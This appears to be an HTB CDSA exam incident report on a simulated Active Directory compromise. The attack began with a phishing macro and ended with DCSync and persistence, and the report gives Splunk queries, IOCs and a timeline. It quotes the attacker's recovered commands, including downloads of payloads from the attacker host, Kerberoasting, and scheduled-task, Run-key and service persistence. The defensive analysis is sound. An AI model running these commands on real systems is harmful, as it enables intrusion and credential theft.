HTB CDSA — Security Incident Report: GhostTrace

Client-style incident report for the GhostTrace intrusion: Active Directory domain compromise via a phishing macro, with detection-by-detection analysis, IOCs and timeline.

Candidate Name: [Dimis Gkds]
Version: 1.0
Classification: CONFIDENTIAL
Date: 2026-01-07


1. Statement of Confidentiality

The contents of this document have been developed as part of the HTB Certified Defensive Security Analyst (CDSA) examination. This document contains sensitive security findings and is intended solely for examination purposes. The assessment detailed herein is against a fictional company for training and examination purposes.


2. Engagement Contacts

Primary Contact Title Contact Email
Dimis Gkds Security Analyst — CDSA Candidate dimas@gmail.com

3. Exam Objectives

To be awarded the HTB Certified Defensive Security Analyst (CDSA) certification, the following objectives must be met:

  • Obtain a minimum of 85 points while investigating Incident 1 by submitting 17 out of the 20 flags
  • Compose and submit a commercial-grade security incident report encompassing an Executive Summary and Technical Analysis, adhering strictly to the format outlined in the Security Incident Reporting module
  • Each stage of the cyber kill chain must be addressed, and any activities related to process injection scrutinized thoroughly
  • Each detection must be elucidated step by step, inclusive of the associated data sources, SIEM queries, and tool commands

4. Executive Summary

Incident: Active Directory Domain Compromise via Phishing — GhostTrace

Field Value
Incident ID INC-2025-0525-001
Incident Severity Critical
Incident Status Resolved (Investigation Complete)
Date of Incident 2025-05-25 03:27 UTC – 04:43 UTC
Affected Environment Main.local Active Directory Domain
Affected Hosts Client02.Main.local · Client03.Main.local · DC01.Main.local

Incident Overview

On 2025-05-25, a user on Client02.Main.local received a phishing email containing a malicious macro-enabled Word document named Profits.docm. Upon enabling macros, the document executed a reverse shell connecting back to an attacker-controlled server at 192.168.204.152. Over the following 75 minutes, the attacker escalated from initial workstation access to full Active Directory domain compromise. The attacker performed Kerberoasting to crack a service account password, used Pass the Hash to move laterally, dumped credentials via Mimikatz, performed a DCSync attack to obtain all domain hashes, and ultimately authenticated as Domain Administrator. Triple persistence was installed on DC01 via a Windows service, scheduled task, and registry run key — all pointing to a typosquatted binary scvhost.exe.

Key Findings

  • A macro-enabled phishing document delivered an initial Meterpreter reverse shell on port 4444
  • A second C2 channel was established via UpdatePolicy.exe on port 1337
  • PowerView was used fileless (loaded entirely in memory) to enumerate Active Directory SPNs
  • The sqlsvc service account was Kerberoasted and its hash cracked in approximately 26 minutes, indicating a weak password
  • Mimikatz was renamed to netdiag.exe to evade AV detection (T1036 — Masquerading)
  • A DCSync attack replicated all domain password hashes from DC01, including krbtgt and Administrator
  • Triple persistence installed on DC01: WindowsUpdateSvc service, WindowsUpdateCheck scheduled task, and xcvafctr registry run key — all executing scvhost.exe (typosquat of svchost.exe)

Immediate Actions Required

  • Isolate Client02, Client03, and DC01 immediately
  • Reset all domain account passwords — entire domain is considered compromised
  • Rotate the krbtgt account password twice to invalidate all Kerberos tickets (Golden Ticket mitigation)
  • Remove all three persistence mechanisms from DC01
  • Delete backdoor binary scvhost.exe from C:\Windows\System32\
  • Force password reset for sqlsvc, lucas, and Administrator accounts
  • Enable LSA Protection (RunAsPPL = 1) to prevent future LSASS dumps
  • Disable WDigest authentication to prevent cleartext credential caching

Stakeholder Impact

  • Domain integrity: Fully compromised — attacker held Domain Admin privileges
  • Credential exposure: All Active Directory account hashes exfiltrated via DCSync; all passwords must be treated as compromised
  • Data access: Attacker had unrestricted access to all domain-joined systems and resources
  • Persistence: Three independent persistence mechanisms installed on DC01; attacker could regain access even after initial remediation if all three are not removed simultaneously

5. Technical Analysis

Incident: Active Directory Domain Compromise via Phishing — GhostTrace


5.1 Affected Systems and Data

System Role Compromise Level
Client02.Main.local User workstation Initial access host — full shell access
Client03.Main.local User workstation Lateral movement target — credentials dumped
DC01.Main.local Domain Controller DCSync performed — all hashes replicated; triple persistence installed

Data at risk: All Active Directory account credentials including krbtgt hash. All domain-joined system access. User account data for sqlsvc and lucas. Any data accessible by Domain Administrator.


5.2 Evidence Sources and Analysis

Data sources used:

Source Content
Windows Sysmon logs Process creation (ID 1), network connections (ID 3), file creation (ID 11), ADS writes (ID 15), registry events (ID 12/13/14), DNS queries (ID 22)
Windows Security logs Logon events (ID 4624), Kerberos ticket requests (ID 4769), object access (ID 4662)
PowerShell Script Block Logging ID 4104 — actual PS code executed including obfuscated/in-memory scripts
Hayabusa / Timeline Explorer Automated detection — Pass the Hash, Mimikatz DC Sync rules
Splunk SIEM correlation and timeline reconstruction

Detection 1 — Malicious File Download (Sysmon ID 15)

Data source: Sysmon — FileCreateStreamHash (ADS write) Host: Client02.Main.local

Sysmon Event ID 15 fires on every Alternate Data Stream (ADS) write. Windows stamps every downloaded file with a Zone.Identifier ADS containing ZoneId=3 (Internet origin) and a HostUrl field once the download completes. This allows reconstruction of file origin even if the file is later moved or renamed.

source="ghostrace_dump_all.json" host="parrot" sourcetype="_json"
"Event.System.Computer"="Client02.Main.local"
Event.System.EventID=15
"Event.System.Channel"="Microsoft-Windows-Sysmon/Operational"
| table Event.EventData.UtcTime, Event.EventData.Image,
        Event.EventData.TargetFilename,
        Event.EventData.Contents, Event.EventData.User

Result: Profits.docm downloaded via chrome.exe at 2025-05-25 03:27:50 UTC from http://192.168.204.152/Profits.docm. The HostUrl field in the Zone.Identifier ADS confirms both the filename and source IP simultaneously.


Detection 2 — C2 Callback after Macro Execution (Sysmon ID 3)

Data source: Sysmon — Network Connection Host: Client02.Main.local

After the user enabled macros in Profits.docm at 03:28:58, WINWORD.EXE executed embedded VBA which spawned a reverse shell. Sysmon ID 3 captures the outbound network connection with PID-to-IP mapping.

Word document execution sequence:

  • 03:28:04 — Word opened Profits.docm in Protected View (oice_* temp path — sandbox)
  • 03:28:58 — User exited Protected View by enabling macros (~WRD0000.tmp created = execution trigger)
  • 03:29:04 — Meterpreter C2 callback established
source="ghostrace_dump_all.json" host="parrot" sourcetype="_json"
"Event.System.Computer"="Client02.Main.local" 192.168.204.152 Event.System.EventID=3
| table Event.EventData.UtcTime, Event.EventData.Image,
        Event.EventData.User, Event.EventData.SourceIp,
        Event.EventData.SourcePort, Event.EventData.DestinationIp,
        Event.EventData.DestinationPort

Result: WINWORD.EXE connected to 192.168.204.152:4444 at 03:29:04 — classic Meterpreter default port. 6-second gap between macro execution and C2 callback.


Detection 3 — Second-Stage Payload Download (PS ID 4104)

Data source: PowerShell Script Block Logging (EventID 4104) Host: Client02.Main.local

PowerShell Script Block Logging captures the actual code executed, including obfuscated and in-memory scripts. The attacker used Invoke-WebRequest to download a second-stage payload through the active Meterpreter session.

source="ghostrace_dump_all.json" host="parrot" sourcetype="_json"
"Event.System.Computer"="Client02.Main.local"
192.168.204.152 UpdatePolicy.exe Event.System.EventID=4104
| table Event.System.TimeCreated_attributes.SystemTime,
        Event.EventData.ScriptBlockText

Result: Invoke-WebRequest -Uri "http://192.168.204.152/UpdatePolicy.exe" -OutFile "C:\Users\Jody\Downloads\UpdatePolicy.exe" captured at 03:32:02–03:32:15 UTC. UpdatePolicy.exe established a second reverse shell to 192.168.204.152:1337.

To isolate the second shell port (filtering out Meterpreter on 4444):

source="ghostrace_dump_all.json" host="parrot" sourcetype="_json"
"Event.System.Computer"="Client02.Main.local"
Event.System.EventID=3 UpdatePolicy.exe
| table Event.EventData.UtcTime, Event.EventData.Image,
        Event.EventData.DestinationIp, Event.EventData.DestinationPort
| where Event.EventData.DestinationPort != 4444

Result: Two simultaneous C2 channels — Meterpreter on port 4444, second shell on port 1337.


Detection 4 — PowerView AD Enumeration (PS ID 4104)

Data source: PowerShell Script Block Logging (EventID 4104) Host: Client02.Main.local

The attacker downloaded and executed PowerView — a PowerSploit module by @harmj0y for Active Directory enumeration and Kerberoasting. PowerView was loaded entirely in memory (fileless) — no binary written to disk — across 70 script blocks sharing the same ActivityID and PID 7924.

source="ghostrace_dump_all.json" host="parrot" sourcetype="_json"
"Event.System.Computer"="Client02.Main.local"
192.168.204.152 "Event.System.EventID"=4104
| table Event.System.TimeCreated_attributes.SystemTime,
        Event.EventData.ScriptBlockText

Result: Invoke-WebRequest -Uri "http://192.168.204.152/PowerView.ps1" -OutFile "C:\Users\Jody\Downloads\PowerView.ps1" at 03:37:05 UTC. The attacker then ran Get-DomainUser -SPN at 03:37:19 to enumerate all accounts with Service Principal Names registered — identifying Kerberoastable targets.


Detection 5 — Kerberoasting (PS ID 4104 + Windows ID 4769)

Data source: PowerShell Script Block Logging + Windows Security log Host: Client02.Main.local → DC01.Main.local

At 03:42:32 UTC, PowerShell captured the Kerberoasting command:

source="ghostrace_dump_all.json" host="parrot" sourcetype="_json"
"Get-DomainUser -Identity" Event.System.EventID=4104
| table Event.System.TimeCreated_attributes.SystemTime,
        Event.EventData.ScriptBlockText

Result:

Get-DomainUser -Identity sqlsvc | Get-DomainSPNTicket -Format Hashcat

Windows Event ID 4769 on DC01 confirmed the malicious service ticket request:

  • TicketEncryptionType: 0x17 (RC4-HMAC) — weak encryption indicating intentional downgrade for offline cracking
  • ServiceName: MSSQLService
  • IpAddress: [Client02 IP]

The sqlsvc hash was cracked in approximately 26 minutes — confirming a weak service account password.


Detection 6 — First Login with Cracked Credentials (Windows ID 4624)

Data source: Windows Security log — Successful Logon Host: Client03.Main.local

source="ghostrace_dump_all.json" host="parrot" sourcetype="_json"
sqlsvc Event.System.EventID=4624
| spath input=_raw output=SystemTime path="Event.System.TimeCreated_attributes.SystemTime"
| spath input=_raw output=TargetUser path="Event.EventData.TargetUserName"
| spath input=_raw output=LogonType path="Event.EventData.LogonType"
| table SystemTime, EventID, Computer, TargetUser, LogonType
| sort SystemTime

Result: sqlsvc authenticated at 04:03:47 UTC — 26 minutes after Kerberoasting. Logon Type 3 (Network) via NTLM V2 from 192.168.204.152. No WorkstationName, no ProcessName, no LogonGuid — forensic fingerprint of Impacket authentication from Linux.


Detection 7 — PsExec Lateral Movement (Sysmon ID 11)

Data source: Sysmon — File Create Host: Client03.Main.local

PsExec (Sysinternals) creates a randomly-named service binary in C:\Windows\ on the remote target. The random name deliberately avoids hash-based AV detection. Sysmon ID 11 is the forensic artifact.

source="ghostrace_dump_all.json" host="parrot" sourcetype="_json"
"Event.System.Computer"="Client03.Main.local"
Event.System.TimeCreated_attributes.SystemTime>"2025-05-25T04:03:47*"
"Event.EventData.User"!="MAIN\\asmith" Event.System.EventID=11
| table Event.System.TimeCreated_attributes.SystemTime,
        Event.EventData.TargetFilename, Event.EventData.Image,
        Event.EventData.User
| sort Event.System.TimeCreated_attributes.SystemTime
| dedup Event.EventData.Image

Result: C:\Windows\VgYTbFEK.exe created at 04:05:12 UTC by NT AUTHORITY\SYSTEM — PsExec service binary with randomised name to evade AV hash detection.


Detection 8 — Mimikatz Renamed (Sysmon ID 1 — PE Metadata)

Data source: Sysmon — Process Creation Host: Client03.Main.local

The attacker renamed mimikatz.exe to netdiag.exe to evade AV detection (T1036 — Masquerading). Sysmon ID 1 captures PE header metadata regardless of filename — OriginalFileName, Description, and Product fields still show mimikatz because renaming a file on disk does not alter its internal PE headers.

source="ghostrace_dump_all.json" host="parrot" sourcetype="_json"
"Event.System.Computer"="Client03.Main.local"
Event.System.TimeCreated_attributes.SystemTime>"2025-05-25T04:05:12*"
Event.System.EventID=1
"Event.EventData.Description"="mimikatz for Windows"
| table Event.EventData.UtcTime, Event.EventData.ParentImage,
        Event.EventData.Image, Event.EventData.Description,
        Event.EventData.OriginalFileName, Event.EventData.User,
        Event.EventData.IntegrityLevel, Event.EventData.Hashes

Result: C:\Users\sqlsvc\Downloads\netdiag.exe — Description: mimikatz for Windows, OriginalFileName: mimikatz.exe. Process ran as NT AUTHORITY\SYSTEM, spawned by powershell.exe (SysWOW64).


Detection 9 — Pass the Hash — lucas Account (Hayabusa / Windows ID 4624)

Data source: Hayabusa detection + Windows Security log Host: Client03.Main.local

Hayabusa automatically flagged Pass the Hash Activity 2 (medium severity) on Client03 at 04:24:47 UTC.

source="ghostrace_dump_all.json" host="parrot" sourcetype="_json" runas.exe "Event.System.EventID"=1
| spath input=_raw output=SystemTime path="Event.System.TimeCreated_attributes.SystemTime"
| spath input=_raw output=CommandLine path="Event.EventData.CommandLine"
| table SystemTime, RuleName, CurrentDirectory, EventID, CommandLine

Key fields from EventID 4624:

TgtUser:   lucas
SrcIP:     192.168.204.152  ← C2 server
SrcComp:   -               ← Impacket / Linux (no workstation name)
LogonType: 3 - NETWORK
Rule:      Pass the Hash Activity 2

The attacker used runas.exe /user:Main\lucas cmd to force Windows to cache lucas cleartext credentials into LSASS memory, then immediately ran netdiag.exe (mimikatz) at 04:25:19 — 32 seconds later — to dump LSASS and obtain the cleartext password.


Detection 10 — DCSync Attack (Windows ID 4662 + Hayabusa)

Data source: Hayabusa — Mimikatz DC Sync rule + Windows Security ID 4662 Host: DC01.Main.local

Hayabusa flagged Mimikatz DC Sync (high severity) on DC01 at 04:26:36 UTC. User lucas (attacker) abused DS-Replication-Get-Changes-All rights using netdiag.exe (mimikatz) to replicate all password hashes from DC01.

Confirmed by Sysmon ID 22 (DNS query for DC01.Main.local) followed by Sysmon ID 3 network connections to 192.168.204.163:135 (RPC) and :49668 (dynamic RPC / DCSync channel). Windows ID 4662 logged the DS-Replication-Get-Changes-All GUID.

At this point the attacker held every hash in the domain including krbtgt and Administrator.


Detection 11 — Administrator Authentication (Windows ID 4624)

Data source: Windows Security log Host: DC01.Main.local

index="main" host="parrot" sourcetype="_json" Event.System.EventID=4624 administrator
| spath input=_raw output=SystemTime path="Event.System.TimeCreated_attributes.SystemTime"
| spath input=_raw output=TargetUser path="Event.EventData.TargetUserName"
| where SystemTime > "2025-05-25T04:26:36.000000Z"
| table SystemTime, TargetUser, EventID
| sort SystemTime

Result: Domain Administrator authenticated at 04:36:01 UTC — 9 minutes after DCSync. NTLM V2, Logon Type 3, from 192.168.204.152. Attacker used the Domain Admin hash obtained via DCSync.


Detection 12 — Triple Persistence on DC01 (Sysmon ID 1 + ID 13)

Data source: Sysmon Process Creation (ID 1) + Registry Events (ID 13) Host: DC01.Main.local

All three persistence mechanisms identified using the same Splunk query filtering for Administrator activity between first login and end of activity window:

index="main" host="parrot" sourcetype="_json"
| spath input=_raw output=SystemTime path="Event.System.TimeCreated_attributes.SystemTime"
| spath input=_raw output=CommandLine path="Event.EventData.CommandLine"
| spath input=_raw output=EventID path="Event.System.EventID"
| spath input=_raw output=UserName path="Event.EventData.ParentUser"
| search EventID=1
| where SystemTime > "2025-05-25T04:36:01.000000Z"
      AND SystemTime < "2025-05-25T04:48:00.000000Z"
| search "Event.EventData.ParentUser"="MAIN\\Administrator"
| table SystemTime, UserName, EventID, CommandLine
| sort SystemTime

Persistence 1 — Scheduled Task (04:38:53)

schtasks.exe /create /tn WindowsUpdateCheck /tr C:\Windows\System32\scvhost.exe /sc onstart /ru SYSTEM /f

Attacker first ran schtasks.exe /query at 04:38:19 to recon existing tasks, then created WindowsUpdateCheck running as SYSTEM on every system start.

Persistence 2 — Registry Run Key (04:40:09)

Detected via Sysmon ID 13 (Registry Value Set) filtering for reg.exe:

| search EventID=13 AND Event.EventData.Image="*reg.exe"
| where SystemTime > "2025-05-25T04:36:01.000000Z"
| table SystemTime, EventID, Image, TargetObject
reg.exe add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v xcvafctr /t REG_SZ /d C:\Windows\System32\scvhost.exe /f

Registry key name: xcvafctr. TargetObject confirms full registry path.

Persistence 3 — Windows Service (04:43:01)

sc.exe create WindowsUpdateSvc binPath= C:\Windows\System32\scvhost.exe start= auto

Service WindowsUpdateSvc set to start= auto — survives every reboot automatically.

All three mechanisms point to scvhost.exe — a one-character typosquat of the legitimate svchost.exe in C:\Windows\System32\, designed to blend into process lists at a glance.

Triple persistence design: If one mechanism is detected and removed, the other two continue to provide attacker access. Complete remediation requires simultaneous removal of all three.


5.3 Indicators of Compromise (IOCs)

Type Value Description
IP 192.168.204.152 Attacker C2 and staging server — served all payloads
File Profits.docm Macro-enabled Word document — phishing lure — initial access vector
Port 4444 Meterpreter reverse shell port
Port 1337 UpdatePolicy.exe reverse shell port
File UpdatePolicy.exe Second-stage reverse shell payload
File PowerView.ps1 PowerSploit AD enumeration module — loaded fileless
Account MAIN\sqlsvc Kerberoasted service account — weak password — hash cracked in 26 min
File VgYTbFEK.exe PsExec random-name service binary — C:\Windows\
File netdiag.exe Mimikatz renamed — T1036 masquerading — C:\Users\sqlsvc\Downloads\
Account lucas Cleartext password dumped from LSASS via Pass the Hash + runas
File scvhost.exe Persistence binary — typosquat of svchost.exe — C:\Windows\System32\
Service WindowsUpdateSvc Malicious auto-start Windows service on DC01
Task WindowsUpdateCheck Malicious scheduled task on DC01 — runs as SYSTEM on start
Registry xcvafctr HKCU\Software\Microsoft\Windows\CurrentVersion\Run\xcvafctr

5.4 Root Cause Analysis

The domain compromise was enabled by three compounding security failures:

1 — Macro-enabled document reached the user No email gateway filtering or Group Policy restriction on Office macro execution allowed Profits.docm to be delivered and executed without obstruction. Attack Surface Reduction (ASR) rules were not enabled.

2 — Weak service account password The sqlsvc service account had a password weak enough to be cracked from its Kerberos hash in 26 minutes using offline brute force. Any authenticated domain user can request a service ticket for any SPN account — requiring no elevated privileges — making Kerberoasting low-risk for the attacker.

3 — WDigest authentication enabled on Client03 WDigest was enabled on Client03, causing Windows to cache user credentials in cleartext within LSASS memory. This allowed mimikatz to extract the lucas plaintext password directly from memory after Pass the Hash access. With WDigest disabled, only an NTLM hash would have been recoverable.

Each failure alone is survivable — together they enabled a complete domain takeover in under 40 minutes.


5.5 Technical Timeline

Timestamp (UTC) Host Action Evidence
2025-05-25 03:27:50 Client02 Profits.docm downloaded via Chrome Sysmon ID 15 — ZoneId=3 · HostUrl=192.168.204.152
2025-05-25 03:28:04 Client02 Word opened file in Protected View (sandbox) Sysmon ID 11 — oice_* temp path
2025-05-25 03:28:58 Client02 User enabled macros — VBA executed Sysmon ID 11 — ~WRD0000.tmp created
2025-05-25 03:29:04 Client02 Meterpreter reverse shell established Sysmon ID 3 — WINWORD.EXE → 192.168.204.152:4444
2025-05-25 03:32:02 Client02 UpdatePolicy.exe downloaded via Invoke-WebRequest PS ID 4104 — ScriptBlockText
2025-05-25 03:32:15 Client02 Second reverse shell established on port 1337 Sysmon ID 3 — UpdatePolicy.exe → 192.168.204.152:1337
2025-05-25 03:37:05 Client02 PowerView.ps1 downloaded — loaded fileless PS ID 4104 — Invoke-WebRequest
2025-05-25 03:37:19 Client02 AD enumeration — SPN accounts listed PS ID 4104 — Get-DomainUser -SPN · PID 7924
2025-05-25 03:42:32 Client02 Kerberoasting — sqlsvc ticket extracted PS ID 4104 — Get-DomainSPNTicket -Format Hashcat
2025-05-25 04:03:47 Client03 First login as sqlsvc — hash cracked Windows ID 4624 — Logon Type 3 · NTLM V2 · Impacket
2025-05-25 04:05:12 Client03 PsExec service binary VgYTbFEK.exe created Sysmon ID 11 — C:.exe
2025-05-25 04:24:47 Client03 Pass the Hash — lucas session established Hayabusa — Pass the Hash Activity 2 · Windows ID 4624
2025-05-25 04:25:19 Client03 Mimikatz (netdiag.exe) executed — LSASS dumped Sysmon ID 1 — Description: mimikatz for Windows
2025-05-25 04:26:36 DC01 DCSync attack — all domain hashes replicated Hayabusa — Mimikatz DC Sync · Windows ID 4662
2025-05-25 04:36:01 DC01 First login as Domain Administrator Windows ID 4624 — Logon Type 3 · NTLM V2 · Impacket
2025-05-25 04:38:53 DC01 Scheduled task WindowsUpdateCheck created Sysmon ID 1 — schtasks.exe /create
2025-05-25 04:40:09 DC01 Registry run key xcvafctr created Sysmon ID 13 — HKCU…
2025-05-25 04:43:01 DC01 Windows service WindowsUpdateSvc created Sysmon ID 1 — sc.exe create start=auto

5.6 Nature of the Attack

The attack followed a well-structured kill chain combining commodity tools (Metasploit, PowerView, Mimikatz, Impacket, PsExec) with deliberate evasion techniques at each stage.

Initial Access — T1566.001 (Spearphishing Attachment) Macro-enabled Word document exploited user trust. Protected View was bypassed by user interaction — no vulnerability exploitation required.

Execution — T1059.001 (PowerShell) + T1204.002 (Malicious File) VBA macro spawned Meterpreter. PowerShell used for all subsequent payload delivery and AD enumeration.

C2 — T1071.001 (Web Protocols) Two simultaneous C2 channels on ports 4444 (Meterpreter) and 1337 (UpdatePolicy.exe) provided redundancy — losing one channel did not terminate attacker access.

Discovery — T1069.002 + T1087.002 (AD Enumeration) PowerView loaded fileless across 70 script blocks — no binary on disk. Enumerated SPNs, domain users, groups, and trusts.

Credential Access — T1558.003 (Kerberoasting) Any domain user can request service tickets. RC4 encryption downgrade enabled offline cracking with Hashcat. No elevated privileges required and no account lockout risk.

Lateral Movement — T1550.002 (Pass the Hash) Impacket from Linux used NTLM hash to authenticate — no plaintext password required. Blank SrcComp and WorkstationName in logon events is the forensic signature.

Credential Access — T1003.001 (LSASS Dump via Mimikatz) Binary renamed (T1036 — Masquerading) to bypass signature-based AV. PE header metadata exposed by Sysmon ID 1 regardless of filename — OriginalFileName field unchanged.

Credential Access — T1003.006 (DCSync) Mimikatz abused DS-Replication-Get-Changes-All to pull all domain hashes directly from DC01 replication protocol — no need to touch LSASS on the DC. Detected via Windows ID 4662 with replication GUIDs.

Persistence — T1543.003 + T1053.005 + T1547.001 Triple persistence installed simultaneously:

  • Windows Service (WindowsUpdateSvc) — survives reboot — start=auto
  • Scheduled Task (WindowsUpdateCheck) — runs as SYSTEM on every system start
  • Registry Run Key (xcvafctr) — executes on every user logon

All three point to scvhost.exe — a typosquat of svchost.exe (T1036.004 — Masquerade Task or Service) placed in C:\Windows\System32\ to blend with legitimate Windows processes.


A. Appendix — Technical Timeline

Timestamp (UTC) Activity
2025-05-25 03:27:50 Profits.docm downloaded by user on Client02 via Chrome from 192.168.204.152
2025-05-25 03:28:04 Word opened document in Protected View sandbox
2025-05-25 03:28:58 User enabled macros — VBA executed — ~WRD0000.tmp created
2025-05-25 03:29:04 Meterpreter reverse shell → 192.168.204.152:4444
2025-05-25 03:32:02 PowerShell Invoke-WebRequest — UpdatePolicy.exe downloaded
2025-05-25 03:32:15 Second reverse shell → 192.168.204.152:1337
2025-05-25 03:37:05 PowerView.ps1 downloaded and loaded fileless in memory
2025-05-25 03:37:19 Get-DomainUser -SPN — SPN enumeration — Kerberoastable accounts identified
2025-05-25 03:42:32 Get-DomainSPNTicket -Format Hashcat — sqlsvc Kerberos hash extracted
2025-05-25 04:03:47 First login as sqlsvc on Client03 — hash cracked (~26 min) via Impacket
2025-05-25 04:05:12 PsExec service binary VgYTbFEK.exe dropped to C:\Windows\ on Client03
2025-05-25 04:24:47 Pass the Hash — lucas session established on Client03 from 192.168.204.152
2025-05-25 04:25:19 netdiag.exe (mimikatz) executed as SYSTEM — LSASS dumped — lucas cleartext obtained
2025-05-25 04:26:36 DCSync attack against DC01 — all domain hashes replicated including krbtgt and Administrator
2025-05-25 04:36:01 First authentication as Domain Administrator from 192.168.204.152
2025-05-25 04:38:19 schtasks.exe /query — existing task recon on DC01
2025-05-25 04:38:53 WindowsUpdateCheck scheduled task created → scvhost.exe on system start as SYSTEM
2025-05-25 04:40:09 Registry run key xcvafctr → scvhost.exe added to HKCU Run
2025-05-25 04:43:01 WindowsUpdateSvc Windows service created → scvhost.exe start=auto

HTB CDSA Security Incident Report · GhostTrace · DFIR · 2026-01-07Rendered with SysReptor